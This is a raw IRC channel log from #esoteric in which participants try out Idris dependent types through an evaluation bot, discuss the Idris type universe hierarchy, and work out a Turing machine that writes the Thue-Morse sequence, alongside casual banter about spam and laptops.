:idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12(13n 12** 12Vect 13n 12String12) < 1394777510 90597 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394777510 842587 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Nat'Not in scope: data co... < 1394777525 279979 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (n : Nat ** Vect n String) (5 ** ["a", "b", "c", "d", "e"]) < 1394777525 499476 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(045 04** 04[04"a"04, 04"b"04, 04"c"04, 04"d"04, 04"e"04]04) : 12(13n 12** 12Vect 13n 12String12) < 1394777526 537100 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Nat'Not in scope: data co... < 1394777566 687802 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't fully understand the implications of when this is useful, but apparently filtering vects returns a dependent tuple instead of just a resulting vector < 1394777590 177665 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I guess when you want a component of the type to be readable at runtime? < 1394777722 752517 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i ascended nethack today < 1394777725 425808 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :why did i even play < 1394777742 281583 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and what's "the"? < 1394777746 250543 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i've played three games over the past few days. i think i haven't played any others in over a year < 1394777752 295070 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :https://github.com/idris-lang/Idris-dev/blob/master/libs/prelude/Prelude/Vect.idr#L285 < 1394777755 934002 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :the is like id with an explicit type argument < 1394777759 907098 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1394777761 195568 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it's used kind of like :: in haskell < 1394777773 166700 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :the : (a : Type) -> a -> a < 1394777777 232579 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :the Int 5 < 1394777792 91843 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1394777820 854010 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I saw someone use the infix earlier. Int `the` 5 kind of reads backwards < 1394777880 129319 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(p ** Vect p a) gets inferred to (p : Nat ** Vect p a) ? < 1394777903 503421 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I believe so < 1394778050 532988 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, I don't see examples in the Vect prelude lib, but... maybe you could pattern match on the first part of it to know what you can do with the second? < 1394778078 191167 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :makes sense < 1394778094 913612 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Conan `the` "Barbarian" < 1394778125 972408 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one thing I find hard about dependent language syntax is that there's usually a way to leave off either side of (x : t) and it's hard to keep them straight even if I theoreticall understand what's going on < 1394778403 665358 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Hello Sir/Madam, I'm Thomas Clark and I'll like to purchase Propane" < 1394778416 573925 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i get some weird spam < 1394778459 338491 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hello kmc, i would like to purchase n-decane to go with my chain link fences, < 1394778566 35655 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION wants antipane < 1394778603 682225 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I got spam for Computeroxy -- "an academic website exclusively dedicated to academic careers in schools of electrical and electronic engineering and computer science in Europe, Oceania and the Middle East" -- the other day. < 1394778617 125498 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"I found this academic website interesting and I think you would enjoy it too." < 1394778654 407535 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yeah, I'm sure you thought about me personally, "Mark, Lecturer in Computer Science", the guy sending mail to "undisclosed-recipients:;". < 1394778898 38636 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"This product is property of Lenovo and may not be distributed outside Lenovo" < 1394778912 967933 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Came with my Lenovo laptop < 1394779001 570070 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1394779003 186671 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what is it? < 1394779009 798536 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the product i mean < 1394779076 348035 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Some VBScript to... do something < 1394779092 21645 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not entirely sure what. Something to do with setting up a user guide on Metro, I think < 1394779103 677746 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"Installing user guide for Support Metro app on Windows 8" < 1394779395 366357 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION 's brain breaks a bit < 1394779396 264260 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("a" ** "foo") < 1394779396 517410 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(04"a" 04** 04"foo"04) : 12(13a 12** 09boolElim (09intToBool (09prim__eqString 13a 04"a")) (04Delay 12String) (04Delay 12Int)12) < 1394779397 479136 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:13: parse error on input `=>' < 1394779515 768515 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("a" ** 5) < 1394779515 989219 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Num (09boolElim (09intToBool (09prim__eqString 04"a" 04"a")) (04Delay 12String) (04Delay 12Int)) < 1394779516 801529 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:13: parse error on input `=>' < 1394779533 467165 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("b" ** 5) < 1394779533 687583 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(04"b" 04** 04504) : 12(13a 12** 09boolElim (09intToBool (09prim__eqString 13a 04"a")) (04Delay 12String) (04Delay 12Int)12) < 1394779534 680221 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:13: parse error on input `=>' < 1394779542 388670 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("b" ** "5") < 1394779543 425184 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394779543 482782 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12String < 1394779543 482930 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394779543 483022 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : (\13a => 09boolElim (09intToBool (09prim__eqString 13a 04"a")) (04Delay 12String) (04Delay 12Int)) 04"b" < 1394779543 483113 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394779543 539654 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:13: parse error on input `=>' < 1394779546 320000 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION stops < 1394779559 67245 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394779566 664731 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Slereahphone: you just missed the fun < 1394780075 409675 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :we put the fun in dependently-typed functional programming < 1394780207 152674 :Slereahphone!~slereahph@80.10.159.144 PRIVMSG #esoteric :It can't be that fun because < 1394780215 491739 :Slereahphone!~slereahph@80.10.159.144 PRIVMSG #esoteric :I don't know what it means < 1394780478 234929 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :translated the Lukasiewicz logic interpreter to C. https://gist.github.com/luser-dr00g/9542998 < 1394780544 159619 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the Type Type < 1394780544 421261 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Type : 12Type < 1394780545 296331 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c... < 1394780687 990702 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394781666 393619 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Is the type type the typest of the types? < 1394781718 447778 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Idris has a cumulative universe thingy and then hides it < 1394781748 422285 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So the type of Type is Type 1, the type of Type 1 is Type 2... but Type is also a Type 2, and small types are also Type 2s, and Type 3s, and Type 4s < 1394781760 572297 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And somehow this lets Idris hide the entire hierarchy from the user < 1394781792 928565 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So I guess Type becomes whatever Type in the hierarchy is needed in context < 1394781876 846800 :limitless23!~limitless@72.11.34.197 QUIT :Quit: Leaving < 1394781879 859405 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> the (Type 17) Type < 1394781879 914418 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:11:12Type does not have a function type (12Type) < 1394781880 898090 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c... < 1394781888 494451 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well what's the point then!! < 1394781944 823230 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1394782081 408849 :atehwa!atehwa@aulis.sange.fi QUIT :Ping timeout: 265 seconds < 1394782091 826879 :Effilry!~firefly@oftn/member/FireFly NICK :FireFly < 1394782092 31790 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You can't actually write Type 1 < 1394782093 787962 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :etc. < 1394782108 137758 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The only place it's ever visible, as far as I understand, is < 1394782111 786360 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t Type < 1394782112 30096 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Type : 12Type 1 < 1394782112 957790 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394782129 375920 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well what if i want to talk about specifically the type of Int or w/e < 1394782177 362951 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1394782223 412207 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Good question. Not sure you can < 1394782285 281236 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> :t Int < 1394782285 337197 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Int : 12Type < 1394782286 324338 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394782557 520636 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :help < 1394782564 813182 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :trackpad acting up < 1394782612 744392 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Fixed < 1394782616 475202 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Thanks to a mouse < 1394783711 326765 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394783791 223347 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394784139 954355 :Slereahphone_!~slereahph@80.10.159.144 JOIN :#esoteric < 1394784140 279274 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394784141 579801 :Slereahphone_!~slereahph@80.10.159.144 NICK :Slereahphone < 1394784358 530178 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394784363 275039 :Slereahphone_!~slereahph@80.10.159.144 JOIN :#esoteric < 1394785702 266880 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394785903 305349 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394785904 525628 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394786404 155699 :Slereahphone_!~slereahph@80.10.159.144 PRIVMSG #esoteric :What's the size of a tab in console mode < 1394786421 720168 :Slereahphone_!~slereahph@80.10.159.144 PRIVMSG #esoteric :In character spaces < 1394787411 165832 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 255 seconds < 1394787855 153480 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :up to the next tabstop, as defined by tabs(1) < 1394787863 148957 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :defaults to every eighth column < 1394787875 146499 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :if by console mode you mean in a terminal emulator < 1394788112 310617 :Slereahphone_!~slereahph@80.10.159.144 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394788325 145948 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394788639 302085 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394789056 559988 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What about apathy mode < 1394790225 745741 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394790498 970387 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1394790535 818674 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394790697 289446 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394792038 274471 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394794990 294050 :boily!~boily@96.127.201.149 QUIT :Quit: PENTASYLLABIC CHICKEN < 1394795498 503642 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo_, Bike: Use ( as a prefix in here so it doesn’t clash with lambdabot. < 1394795582 372258 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“In September 1943, Iran declared war on Germany, thus qualifying for membership in the United Nations.” < 1394795700 868537 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo_, Bike: The way the Type hierarchy works is that it builds up a digraph of universe ordering, and checks at the end that it’s consistent (i.e. cycle-free), IIUC. < 1394795960 190516 :glogbackup!~glogbacku@192.3.160.190 QUIT :Read error: Connection reset by peer < 1394796313 293754 :Slereahphone!~slereahph@80.10.159.144 QUIT :Ping timeout: 240 seconds < 1394796474 141558 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 245 seconds < 1394797130 95835 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 252 seconds < 1394797418 319228 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394798505 247760 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394798578 334799 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394798623 448815 :spiette!~spiette@mtl.savoirfairelinux.net QUIT :Remote host closed the connection < 1394799391 47351 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :> 47/15 < 1394799391 603366 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :043.1333333333333333 : 12Float < 1394799392 77649 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 3.1333333333333333 < 1394799577 283482 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394800223 301589 :password2!~password@197.78.163.189 JOIN :#esoteric < 1394800589 831277 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394801108 725145 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394801136 171383 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394801436 60351 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394801665 262471 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394802027 853861 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1394802045 453868 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :help my googlebubble thinks i want hockey scores < 1394802120 674627 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Read error: Operation timed out < 1394802217 725402 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394802263 434157 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: i'm sorry you're on thin ice there < 1394802304 839051 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ug < 1394802317 891763 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :hand me your frying pan please < 1394802357 226806 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :managed to edit haskellwiki this time. turns out their fancy layout doesn't work with a non-full-screen browser. < 1394802378 718338 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :since when do i have a frying pan < 1394802384 572063 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :sounds compatible < 1394802426 642406 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Fullscreen? Not just requiring a certain window size? < 1394802427 938836 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as in, the edit form got hid under some of the other stuff until i maximized < 1394802474 523822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: well it doesn't work with my _usual_ window size, which is a little less than full screen because i like to be able to glimpse what's happening in irc. < 1394802500 742850 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ACTION has two monitors for that purpose. < 1394802557 190168 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well this is a laptop, on my lap. < 1394802577 219654 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394802577 971166 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think you usually have a two-monitor laptop setup. < 1394802580 73957 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ACTION nods. < 1394802623 935498 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(technically it cannot be a laptop because the manual warns against burns if you put it on your lap. hasn't been a problem though, it's cooler than my previous one.) < 1394802720 316675 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Read error: Connection reset by peer < 1394802720 676726 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I thought infertility was the usual risk. < 1394802738 377419 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh. well i have no plans to breed. < 1394802755 719932 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I’m pretty sure that’s just temporary though. < 1394802760 786117 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(i actively dislike babies anyway) < 1394802772 982583 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://mashable.com/category/dual-screen-laptop < 1394802790 19484 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: i'm 43, how long is temporary? < 1394802813 659176 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh you mean the infertility. < 1394802833 356897 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I meant the infertility, yes. < 1394802846 217885 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1394802888 392651 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, you mean there's never going to be any wild oerjanlings? < 1394802905 646973 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: quite unlikely. < 1394803664 732568 :HackEgo!~HackEgo@162.248.166.242 QUIT :Ping timeout: 264 seconds < 1394803970 421479 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot: be careful, someone is picking off bots again < 1394803970 515279 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: " and the creator of of yours, you would let the woman with years of combat, probably against a paladin" miko, i have my eye! < 1394804236 755146 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I ought to get dressed at some point < 1394804256 433056 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you know, _someone_ could have told Sgeo idris-ircslave now supports the ( prefix. < 1394804294 88209 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell Sgeo please use idris-ircslave's new ( prefix hth < 1394804294 303447 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394804314 885684 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell Sgeo_ please use idris-ircslave's new ( prefix hth < 1394804315 101364 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394804445 344506 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION barely resisted adding "OR DIE" in there. < 1394804470 573769 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Is there a nice way to compute the Thue-Morse sequence on a Turing machine < 1394804487 862560 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(I'm so glad this channel exists so I can ask questions like that) < 1394804498 216206 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394804516 700154 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well depends what you mean, since turing machines technically have finite output if they ever halt < 1394804554 529619 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you could certainly manage to fill up the tape with it without halting. < 1394804581 256866 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, I would like to continuously write the Thue-Morse sequence to the tape < 1394804658 662452 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :four cell values, call them 0,1,A,B < 1394804703 116042 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :start by putting 0B on the tape, position yourself just after the B < 1394804767 583602 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(1) seek left to a 0 or 1. go one step right. < 1394804813 3408 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(2) turn the A or B that is there into 0 or 1, respectively. remember what it was. seek till end of tape. < 1394804845 373887 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(3A) put AB on end of tape, go to 1 < 1394804857 373799 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(3B) put BA on end of tape, go to 1 < 1394804866 62497 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: simple enough? < 1394804921 977376 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1394804935 267513 :Slereahphone!~slereahph@193.253.170.149 JOIN :#esoteric < 1394804940 33323 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thank you < 1394805059 746398 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you're welcome < 1394805242 94761 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :small adjustment, the "position yourself just after the B" could more efficiently be on the 0. < 1394806734 563315 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 252 seconds < 1394807030 279106 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394807338 705072 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394807520 907961 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394807522 410882 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394809075 527645 :nooodl!~nooodl@91.177.69.110 JOIN :#esoteric < 1394809109 596716 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Do they sell two-monitor laptops for people with two heads? < 1394809130 993008 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I see Jafet already answered that. < 1394809163 32712 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ooh i missed that < 1394809186 161485 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it doesn't exactly mention two-headed people. < 1394809195 495611 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :But I'm sure it's implied. < 1394809216 839956 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I imagine those laptops are marketed beyond the very limited dicephalic demographic. < 1394809222 683065 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the top picture seems broken < 1394809322 397934 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: the Beeblebrox market segment is a bit small, methinks. < 1394809327 387119 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think google mustn't have quite the right picture of me, it's showing me an ad for farming equipment. < 1394809377 455275 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION is late and redundant, as usual. *sigh* < 1394809396 299968 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: well it's easy to be redundant when you have two heads < 1394809669 771675 :spiette!~spiette@mtl.savoirfairelinux.net JOIN :#esoteric < 1394809681 261027 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 240 seconds < 1394809833 745491 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394810644 790566 :Slereahphone!~slereahph@193.253.170.149 QUIT :Remote host closed the connection < 1394810864 396988 :AnotherTest!~turingcom@94-224-16-121.access.telenet.be JOIN :#esoteric < 1394811157 841784 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 252 seconds < 1394811193 270190 :password2!~password@197.78.163.189 QUIT :Ping timeout: 240 seconds < 1394811288 246350 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394811544 289052 :password2!~password@197.78.163.189 JOIN :#esoteric < 1394811773 238749 :Slereahphone!~slereahph@193.253.170.149 JOIN :#esoteric < 1394812115 148262 :nooodl!~nooodl@91.177.69.110 QUIT :Ping timeout: 252 seconds < 1394812192 717421 :erdic!erdic@unaffiliated/motley QUIT :Remote 